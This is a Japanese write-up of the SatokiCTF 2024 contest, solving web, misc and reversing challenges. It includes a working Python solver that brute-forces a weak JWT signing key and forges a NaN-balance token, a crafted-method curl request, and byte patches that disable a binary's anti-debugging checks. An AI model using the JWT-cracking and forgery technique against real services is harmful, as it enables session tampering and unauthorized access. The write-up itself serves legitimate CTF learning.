SatokiCTFへ参加しました。そのwrite-up記事です。IDAの解析結果ファイル.i64などはGitHubで公開しています。
2024/09/29 23:30頃加筆: いただいた賞品の話を追記しました。
コンテスト概要
2024/08/25(日) 09:00 +09:00 - 08/26(月) 21:00 +09:00
の36時間開催でした。その8月26日は、運営であるSatoki氏の誕生日とのことです。お誕生日おめでとうございます!
他ルールは詳細&ルール
ページから引用します:
SatokiCTFとは Satokiの誕生日に開催されるCTFです。 複数人で協力してSatokiを倒す (全完する) レイドバトル形式のCTFとなります。 全完を目指して頑張ってください。 来年やるかは未定です。 詳細 形式:Raid Jeopardy 開催期間:08/25 09:00:00 JST (UTC+9) から36h サーバ稼働時間:08/25 09:00:00 JST (UTC+9) から60h予定 フラグ形式:flag{何らかの文字列} 公式WriteUp:公開しません ハッシュタグ:#satokictf 賞金・賞品: - 全完者・全完チーム:10位まで賞金・賞品プールの物品を1個選択 (賞品提供者は対象外) - WebまたはPwnのジャンル制覇者・ジャンル制覇チーム:各2位まで賞金・賞品プールの物品を1個選択 (全完者・全完チーム、賞品提供者は対象外) - 参加者全員:Satokiにご飯を奢る権利 - 賞金プールに条件が記載されている場合は該当者・該当チームへ優先授与 ルール 禁止事項 - 他の参加者の競技を妨害する行為 - e.g., Satoki管理のインフラ (スコア・問題サーバ、Discordなど) へのDoS、SNSでの他の参加者への執拗な質問 - 日本国の法律に違反する可能性のある行為 許可事項 - 禁止事項以外のすべて - e.g., 10000人チームでの参加、開催中のYouTube配信、開催中のWriteUp・Flagの公開 その他 - 本スコアサーバに記載されているルールや賞金・賞品プールが最新版になります。 - SNSなどでネタバレされたくない方は自衛してください (一人で参加したほうが強くなれます)。 - 公式Discordでは【ネタバレ】が名前の先頭についたチャンネル以外でネタバレをしないようにお願いします。 おねがい 賞金・賞品プールを作成しますので、余裕のある方はスポンサーをお願いします 。 全完者・全完チームが0の場合、Satokiの誕生日プレゼントになります (たぶん) 。
トップページでは、残りの0-solves問題の数に応じた体力ゲージが表示されていました:
ルールで許可されているので、開催中に実況配信が行われていたり、開催中にDiscordでのネタバレチャンネルで参加者の人が(適切に伏せ字設定しつつ)解法や考察を書き込んでいたり、運営の方から適宜ヒントが提供されたりしました。ものすごいコンテストでした!
なお開催から約4時間後に、「全完難易度が高いため、Top10に賞品を贈呈」とのアナウンスがありました。
結果
レイドバトルではあるのですが、普段のコンテストどおりの記述を一応入れます。正の得点を得ている101チーム中、501点で10位でした:
なおコンテスト終了時点での0-solvesの問題は4問ありました。つまりはレイドバトル失敗ということなのでしょう……。
環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.4780] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show IPython | grep Version: Version: 8.24.0 $ python3 -m pip show httpx | grep Version: Version: 0.27.0 $ python3 -m pip show pwntools | grep Version: Version: 4.13.0 $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2024.02.14 build: 2b9beef $ ltrace --version ltrace version 0.7.3. Copyright (C) 1997-2009 Juan Cespedes <cespedes@debian.org>. This is free software; see the GNU General Public Licence version 2 or later for copying conditions. There is NO warranty. $ curl --version curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.2 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd $ docker --version Docker version 27.1.1, build 6312585 $
解けた問題
本コンテストでは、各問題の配点は正解者数にかかわらず固定でした。
いくつかの問題では途中でヒントが開示されました。本記事ではヒント内容も記載します。
[Welcome] Welcome (94 teams solves, 1 points)
SatokiCTFへようこそ。 趣味CTFなので作問ミスや公平性の欠如は大目に見てね😘 flag{l00k1n6_f0r_7h3_p3rf3c7_h4ck3r}
問題文にフラグが書かれていました: flag{l00k1n6_f0r_7h3_p3rf3c7_h4ck3r}
[Web, warmup] MiniBank (27 teams solves, 100 points)
暗証番号が総当たりできる? じゃあ、flagはどんな金額でも渡しません! (URL省略)
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./.env: ASCII text, with CRLF line terminators ./app/app.py: Python script, ASCII text executable, with CRLF line terminators ./app/Dockerfile: ASCII text, with CRLF line terminators ./app/requirements.txt: ASCII text, with CRLF line terminators ./app/templates/index.html: HTML document, ASCII text, with CRLF line terminators ./app/uwsgi.ini: ASCII text, with CRLF line terminators ./docker-compose.yml: ASCII text ./nginx/Dockerfile: ASCII text ./nginx/nginx.conf: ASCII text $
nginxを経由してappへアクセスする構成でした。app/app.py
は次の内容でした:
import os import jwt import random from flask import Flask, jsonify, request, make_response, render_template app = Flask(__name__) FLAG = os.environ.get("FLAG", "flag{*****REDACTED*****}") def determine_status(balance): status = FLAG if balance > 0: status = "rich" if balance <= 0: status = "poor" return f"You are a {status} person, aren't you?" # omg ;( KEY = str(random.randint(1, 10**6)) def encode_jwt(balance): payload = {"balance": balance} return jwt.encode(payload, KEY, algorithm="HS256") def decode_jwt(token): try: payload = jwt.decode(token, KEY, algorithms="HS256") return payload.get("balance") except: return None @app.route("/") def index(): token = request.cookies.get("account") if token: balance = decode_jwt(token) if balance is not None: status = determine_status(balance) return render_template("index.html", balance=balance, status=status) resp = make_response( render_template( "index.html", balance=1000, status="Welcome! Setting your initial balance to $1000.", ) ) resp.set_cookie("account", encode_jwt(1000)) return resp @app.route("/transaction", methods=["POST"]) def transaction(): data = request.get_json() if "amount" in data and isinstance(data["amount"], int): amount = data["amount"] token = request.cookies.get("account") balance = decode_jwt(token) if balance is not None: balance += amount status = determine_status(balance) new_token = encode_jwt(balance) resp = jsonify({"balance": balance, "status": status}) resp.set_cookie("account", new_token) return resp else: return jsonify({"error": "Invalid token."}), 400 else: return ( jsonify({"error": "Invalid amount specified. Amount must be an integer."}), 400, ) if __name__ == "__main__": app.run(debug=False, host="0.0.0.0", port=4445)
ソースから、次のことが分かります:
- サーバー起動時に、
KEY
が1~1000000の範囲からランダムに決定されます。短期間で総当りできる範疇です。 determine_status
関数の分岐でstatus = FLAG
を表示してもらうには、if balance > 0
とif balance <= 0
の両方の分岐を回避する必要があります。整数で考えるとそんなことは不可能ですが、浮動小数点数で考えるとNaN
で回避できます。determine_status
関数の引数は、account
クッキーのJWT内容のbalance
値が渡されます。KEY
は総当りできるので、好きな内容を渡せそうです。
この考察から、balance
値としてNaN
を渡せばフラグを得られそうです。しかし、RFC 8259 - The JavaScript Object Notation (JSON) Data Interchange Formatを見てもnumber
としてはNaN
を渡せないようです。一方で9. Parsers
箇所にA JSON parser MAY accept non-JSON forms or extensions.
とあるので、処理系によってはNaN
を扱える可能性があります。実験しました:
In [7]: json.dumps({"balance": math.nan}) Out[7]: '{"balance": NaN}' In [8]: json.loads(json.dumps({"balance": math.nan})) Out[8]: {'balance': nan}
というわけで、Pythonのjson
パッケージではNaN
を扱えることが分かりました(扱えるんですね!)。jwt
パッケージでも同様にNaN
を扱えることを信じつつ、あとせっかくなので最近知ったhttpx
パッケージを使ってみつつ、ソルバーを書きました:
#!/usr/bin/env python3 import math import httpx import jwt import tqdm BASE_URL = "http://198.51.100.1:4445/" def crack_key(account: str) -> str: for i in tqdm.trange(0, 10**6): key = str(i) try: payload = jwt.decode(account, key, algorithms=["HS256"]) print(f"{payload = }") return key except jwt.exceptions.InvalidSignatureError: pass raise Exception("Can not found key...") with httpx.Client(base_url=BASE_URL) as client: response = client.get("/").raise_for_status() account = client.cookies.get("account") print(client.cookies) assert account print(f"{account = }") key = crack_key(account) print(f"{key = }") forged_account = jwt.encode({"balance": math.nan}, key, algorithm="HS256") client.cookies.set("account", forged_account, domain="198.51.100.1") print(client.cookies) response = client.get("/").raise_for_status() flag = "".join(filter(lambda line: "flag" in line, response.text.split())) print(flag)
(httpx.Client
のcookies.set
にdomain
引数を渡し忘れていて、クッキーが反映されずにしばらく悩んでいました)
実行しました:
$ ./solve.py <Cookies[<Cookie account=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.p0K5vNd1T4wlB8YxnoVPE6ZZ2qdLA-Z_5Rqbtpia-_Y for 198.51.100.1 />]> account = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.p0K5vNd1T4wlB8YxnoVPE6ZZ2qdLA-Z_5Rqbtpia-_Y' 36%|██████████████████████████████████████████████████████ | 355915/1000000 [00:04<00:07, 85137.74it/s]payload = {'balance': 1000} 36%|███████████████████████████████████████████████████████▏ | 363068/1000000 [00:04<00:07, 83261.07it/s] key = '363068' <Cookies[<Cookie account=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJiYWxhbmNlIjpOYU59.oI936tXFjV9XO5KNFMoam4DvK7P4b2LdGzciA5VYyGE for 198.51.100.1 />]> flag{h4ndl3_j50n_w17h_c4u710n_r364rd1n6_1nf1n17y_4nd_n4n} $
フラグを入手できました: flag{h4ndl3_j50n_w17h_c4u710n_r364rd1n6_1nf1n17y_4nd_n4n}
[Misc, warmup] zzz (21 teams solves, 100 points)
朝起きて 歯を磨いて あっという間 午後10時 (接続先情報省略) ヒント: SFTPやSCP, ポートフォワーディングといったSSHならではの機能は、解くためには必要ありません。 なにかシンプルな方法で無理やり sleep infinity だけを終了させられないでしょうか。
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yml: ASCII text ./Dockerfile: ASCII text ./flag.txt: ASCII text ./zzz.sh: Bourne-Again shell script, ASCII text executable
Dockerfile
内容はForceCommand "/app/zzz.sh"
などの設定を/etc/ssh/sshd_config
へ加える内容でした。つまりSSH接続すると絶対にzzz.sh
を実行するようです。肝心のzzz.sh
は次の内容でした:
#!/bin/bash echo "I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi!" sleep infinity cat /flag.txt
どうにかしてsleep infinity
を中断させられたらフラグが得られる内容でした。
手元でDockerコンテナを起動してSSH接続し、C-c
やC-z
、C-4
などを色々試していましたが、フラグは得られませんでした。色々な制御文字を試しましたが、特段成果は得られませんでした。
実況配信を見ていると「キーボードを叩いていたら解けた」のようなコメントがありました。なんとなく手元でも本番サーバー相手に試してみました:
$ ssh ctf@198.51.100.1 -p 22222 ctf@198.51.100.1's password: I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi! ^\/app/zzz.sh: line 3: 5492 Quit (core dumped) sleep infinity flag{eternal_spring_dream_27ff12ce} Connection to 198.51.100.1 closed. $
全然理由がわかっていませんが、リモートサーバー相手ではC-4
でフラグを入手できました: flag{eternal_spring_dream_27ff12ce}
ただ、リモートサーバー相手でもC-4
でフラグが得られないこともありました:
$ ssh ctf@198.51.100.1 -p 22222 ctf@198.51.100.1's password: I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi! ^\Connection to 198.51.100.1 closed.
また、手元のDocker環境では10回くらい試しても全然だめでした:
$ ssh ctf@localhost -p 22222 ctf@localhost's password: I'm going to sleep for a while. I will give you the flag when I wake up. Oyasumi! ^\Connection to localhost closed.
なぜうまく行ったりいかなかったりしたのか全然分かっていません!
[Misc, warmup] HBD (19 teams solves, 100 points)
Apache HTTP Serverにも誕生日を祝わせることでフラグが得られます。 (URL省略)
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yml: ASCII text ./proxy/.dockerignore: ASCII text ./proxy/Dockerfile: ASCII text ./proxy/go.mod: ASCII text ./proxy/main.go: C source, ASCII text $
compose.yml
内容は、image: httpd:2.4
でapacheを起動しつつ、proxy側も起動する内容でした。proxy側のmain.go
は次の内容でした:
package main import ( "bytes" "io" "net/http" "net/http/httputil" "net/url" "strconv" "os" ) func getFlag() string { v := os.Getenv("FLAG") if len(v) == 0 { return "flag{dummy}" } return v } func modify(r *http.Response) error { body, err := io.ReadAll(r.Body) if err != nil { return err } var b []byte if bytes.Contains(body, []byte("HBD!Satoki!")) { b = []byte(getFlag()) } else { b = body } r.Body = io.NopCloser(bytes.NewReader(b)) r.Header.Set("Content-Length", strconv.Itoa(len(b))) return nil } func main() { url, _ := url.Parse("http://apache") proxy := httputil.NewSingleHostReverseProxy(url) proxy.ModifyResponse = modify http.ListenAndServe(":8000", proxy) }
どうやらapacheからのレスポンスのボディにHBD!Satoki!
が含まれていれば、代わりにフラグを返してくれる内容のようです。
curlで色々実験していると、HTTPリクエストメソッドに適当なものを指定すると、レスポンスボディにその内容を含めてくれることが分かりました:
$ curl -i 'http://localhost:8848/' -X 'Foo' HTTP/1.1 501 Not Implemented Allow: GET,POST,OPTIONS,HEAD,TRACE Content-Length: 202 Content-Type: text/html; charset=iso-8859-1 Date: Sun, 25 Aug 2024 01:20:04 GMT Server: Apache/2.4.62 (Unix) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>501 Not Implemented</title> </head><body> <h1>Not Implemented</h1> <p>Foo not supported for current URL.<br /> </p> </body></html> $
そういうわけで本番サーバー宛に、Apacheにも誕生日を祝わせるリクエストを送信しました:
$ curl -i 'http://198.51.100.1:8848/' -X 'HBD!Satoki!' HTTP/1.1 501 Not Implemented Allow: POST,OPTIONS,HEAD,GET,TRACE Content-Length: 28 Content-Type: text/html; charset=iso-8859-1 Date: Sun, 25 Aug 2024 01:20:48 GMT Server: Apache/2.4.62 (Unix) flag{tanjobi_anata_8ae01c4e} $
フラグを入手できました: flag{tanjobi_anata_8ae01c4e}
[Rev, easy] gomen (2 teams solves, 200 points)
ごめんね! 😘 HAHAHAHA!
本問題のIDAの解析結果ファイル.i64
をGitHubで公開しています。
配布ファイルとして、gomen
バイナリがありました:
$ file * gomen: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=576718da8b3b9d5430ca8d0b33bd1d1f71a0d305, for GNU/Linux 3.2.0, stripped $
IDAで開いて逆コンパイルして読もうとしたのですが、いろいろな難読化が施されているバイナリでした:
.text:0000000000002EC0
のmain
関数を逆コンパイルすると、一見どこか謎の場所へジャンプするだけに見えます。しかし逆アセンブルを見ると、他にも色々しているらしいことが分かります。
void __fastcall main(int a1, char **a2, char **a3) { JUMPOUT(0x30C0LL); }
.text:0000000000002EC0 ; __unwind { // __gxx_personality_v0 .text:0000000000002EC0 endbr64 .text:0000000000002EC4 push r15 .text:0000000000002EC6 lea rdx, loc_309E .text:0000000000002ECD push r14 .text:0000000000002ECF movq xmm1, rdx .text:0000000000002ED4 lea rdx, sub_2F5A .text:0000000000002EDB lea r14, unk_62B0 .text:0000000000002EE2 push r13 .text:0000000000002EE4 movq xmm2, rdx .text:0000000000002EE9 push r12 .text:0000000000002EEB push rbp .text:0000000000002EEC push rbx .text:0000000000002EED lea rbx, loc_2FA1 .text:0000000000002EF4 sub rsp, 0B8h .text:0000000000002EFB mov r13, cs:qword_4120 .text:0000000000002F02 mov rax, fs:28h .text:0000000000002F0B mov [rsp+0E8h+var_40], rax .text:0000000000002F13 xor eax, eax .text:0000000000002F15 lea rax, loc_30C0 .text:0000000000002F1C lea r12, [rsp+0E8h+var_A8] .text:0000000000002F21 mov [rsp+0E8h+var_B0], 0 .text:0000000000002F2A movq xmm0, rax .text:0000000000002F2F mov [rsp+0E8h+var_B8], r12 .text:0000000000002F34 punpcklqdq xmm0, xmm1 .text:0000000000002F38 mov [rsp+0E8h+var_A8], 0 .text:0000000000002F3D movaps [rsp+0E8h+var_98], xmm0 .text:0000000000002F42 movq xmm0, rbx .text:0000000000002F47 mov ebx, 2 .text:0000000000002F4C punpcklqdq xmm0, xmm2 .text:0000000000002F50 lea ebp, [rbx-1] .text:0000000000002F53 movaps [rsp+0E8h+var_88], xmm0 .text:0000000000002F58 jmp rax
sub_3F10
などの関数を逆コンパイルすると、一見無限ループへ突入する謎の関数に見えます。しかし逆アセンブルを見ると、sub_3770
関数で例外が送出されることを前提に、catch側で続きの処理を行っていることが分かります。
void __noreturn sub_3F10() { sub_3770(); while ( 1 ) ; }
.text:0000000000003F10 ; __unwind { // __gxx_personality_v0 .text:0000000000003F10 endbr64 .text:0000000000003F14 push r12 .text:0000000000003F16 push rbp .text:0000000000003F17 push rbx .text:0000000000003F18 sub rsp, 20h .text:0000000000003F1C mov rax, fs:28h .text:0000000000003F25 mov [rsp+38h+var_20], rax .text:0000000000003F2A xor eax, eax .text:0000000000003F2C ; try { .text:0000000000003F2C call sub_3770 .text:0000000000003F2C ; } // starts at 3F2C .text:0000000000003F31 .text:0000000000003F31 loc_3F31: ; CODE XREF: sub_3F10:loc_3F31↓j .text:0000000000003F31 jmp short loc_3F31 .text:0000000000003F33 ; --------------------------------------------------------------------------- .text:0000000000003F33 ; catch(std::exception) // owned by 3F2C .text:0000000000003F33 endbr64 .text:0000000000003F37 mov rdi, rax ; void * .text:0000000000003F3A mov rax, rdx .text:0000000000003F3D jmp loc_2C60
- 通常実行するとフラグ入力プロンプトが表示されますが、
strace
やltrace
経由で実行するとプロンプト等が表示されないままどこかで処理が止まるらしいことも分かりました。デバッガー検知処理が含まれていそうです。 - 各種関数の相互参照を見ていると、
sub_3F10
関数が.init_array
セクションに登録されていました。main
関数よりも前に実行されます。 - プログラム中で扱う文字列が難読化されており、stringsビューなどには表示されません。たとえば
getenv
関数用の引数文字列などが難読化されています。
そんなこんなでIDAの静的解析だけではほとんど何も分からなかったので、gdbで処理を追いかけていくことにしました。ただPIE有効かつstrippedなので、アドレス指定でブレークポイントを設置するのは大変です。そのため、sub_3F10
関数で呼び出しているsub_3770
関数の、さらにその中で呼び出してる関数にb std::basic_filebuf<char,std::char_traits<char>>::open
コマンドでブレークポイントを設置して、run
コマンドで実行開始しました(C++製シンボルでも、マングリングされた名前ではなくC++そのままの名前でブレークポイントを設置できるんですね)。その後はfin
コマンドで関数終了まで実行したり、ni
やsi
コマンド連打で処理を確かめると、次の処理を行っているらしいことが分かりました:
38DC
のstd::basic_filebuf<char,std::char_traits<char>>::open
では、/proc/self/status
ファイルを開きます。3ADB
のmemcmp
関数呼び出しで、/proc/self/status
ファイルの各行と、TracerPid:
固定文字列を比較します。つまりはTracerPid:
で始まる行を探します。man proc_pid_status
で調べると、TracerPid
はPID of process tracing this process (0 if not being traced).
との説明があります。- 例えば
cat /proc/self/status | grep TracerPid
するとTracerPid: 0
ですが、ltrace cat /proc/self/status 2>/dev/null | grep TracerPid
するとTracerPid: 16757
などになります。
3B5F
のstrtol
関数で、TracerPid:
行の文字列を数値へ変換します。すなわちデバッガーのPIDを取得します。前述の通り、デバッガーが未アタッチである場合は0
です。3DAA
付近でstrtol
関数の戻り値で分岐します。戻り値が0
である場合は26A6
付近でstd::runtime_error
を送出します。戻り値が非0である場合は、例外の送出なしにreturnします(=呼び出し元で無限ループへ突入)。- つまり、動的解析を妨害する処理です。
また、ついでに気になったgetenv
関数呼び出しの引数を調べると、次のことを行っていました:
2D2C
のgetenv
関数呼び出しでは、"LD_PRELOAD"
環境変数を取得します。2E30
のgetenv
関数呼び出しでは、"LD_DEBUG"
環境変数を取得します。- 少なくともどちらかの環境変数が存在すれば(=
getenv
関数の戻り値が非NULLであれば)、2E45
付近の分岐で無限ループへ突入します。- おそらくこれらも、動的解析を妨害する処理です。
分かった耐動的解析処理を無効化するようにパッチを適用しました。IDAのHex-Viewでアドレスを合わせ、F2キーで編集モードに入り、機械語を編集して、改めてのF2キーで反映し、メニューのEdit→Patch program→Apply patches to input file...
からgomen
バイナリへ書き戻しました。より具体的には次の編集を加えました:
3DAA
の48 85 C0
を33 C0 90
へ編集、つまりはtest rax, rax
命令をxor eax, eax
,nop
命令へ編集。これで、strtol
関数の戻り値が非0の場合でも、例外を創出するルートへジャンプさせます。2E48
の74
をEB
へ編集、つまりはjz
命令をjmp
命令へ編集。これで、getenv
関数の戻り値が非NULLの場合でも、無限ループを回避できます。
パッチ後のバイナリを使って、とりあえずltrace
を試していました:
$ ltrace -i ./gomen.patched 2>&1 [0x5570af687354] _ZNSt8ios_base4InitC1Ev(0x5570af68a4e8, 0x7ffdc90d47a8, 0x7ffdc90d47b8, 0x5570af689a68) = 2 (中略) [0x5570af686e35] getenv("LD_DEBUG") = nil [0x5570af686e3d] __cxa_end_catch(0x5570af68a3f0, 0x7ffdc90d5dfb, 8, 79) = 8 [0x5570af686e45] __cxa_end_catch(0, 0x5570b05e9590, 0x5570b05e9, 1) = 8 [0x5570af6872b2] __cxa_guard_acquire(0x5570af68a340, 0x7ffdc90d47a8, 0x5570af68a360, 0x5570af689a78) = 1 [0x5570af68730a] __cxa_guard_release(0x5570af68a340, 0x5570af68a370, 0x5570af68a360, 0) = 0x7f4cfaa46040 [0x5570af687225] _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x5570af68a040, 0x5570af68a370, 0xf7267bf8ddfa811f, 32) = 0x5570af68a040 [0x5570af6870b3] _ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x5570af68a160, 0x7ffdc90d45d0, 0x7f4cfaced310, 0Enter the flag: THIS_IS_MY_USER_INPUT (中略) [0x5570af68686c] strlen("flag{I_am_sooo_sorry...}") = 24 [0x5570af6874c3] _Znwm(25, 0x5570af68a3b0, 0x5570af68a3c8, 0) = 0x5570b05e7cb0 [0x5570af6874ab] memcpy(0x5570b05e7cb0, "flag{I_am_sooo_sorry...}", 24) = 0x5570b05e7cb0 (中略) [0x5570af686a75] _ZNSo3putEc(0x5570af68a040, 10, 0x7f4cfaced310, 0Flag is incorrect ) = 0x5570af68a040 [0x5570af686a7d] _ZNSo5flushEv(0x5570af68a040, 0x5570b05e7490, 0x7f4cfaced310, 0x7f4cfa957574) = 0x5570af68a040 [0x5570af686f76] _ZdlPvm(0x5570b05e9570, 31, 0x7f4cfaced310, 0x7f4cfa957574) = 1 [0xffffffffffffffff] +++ exited (status 0) +++
strlen
やmemcmp
関数の引数に、フラグらしい内容が含まれていました。試しました:
$ ./gomen Enter the flag: flag{I_am_sooo_sorry...} Flag is correct $
フラグを入手できました: flag{I_am_sooo_sorry...}
賞品
コンテスト後、10位チーム賞とWriteup賞として、賞品を2つもいただきました!
↑かわいらしい子です!まだ部屋の湿度が高い季節なので大事にしまっていますが、冬の乾燥した時期になったら活躍してもらいます。
↑完全メシとは、栄養素が適切に調整された食とのことです。栄養に気をつけて健康に過ごします!
なお、賞品リストはprizeページに掲載されています。
感想
- 全体的に、予想以上に難しかったです!それでも面白かったです!
- 改めて、Satokiさんお誕生日おめでとうございます!
- お会いできる機会があれば、ご飯を奢る権利を行使させてください。
- 賞品の発送手続き等も行ってくださり、本当にありがとうございました!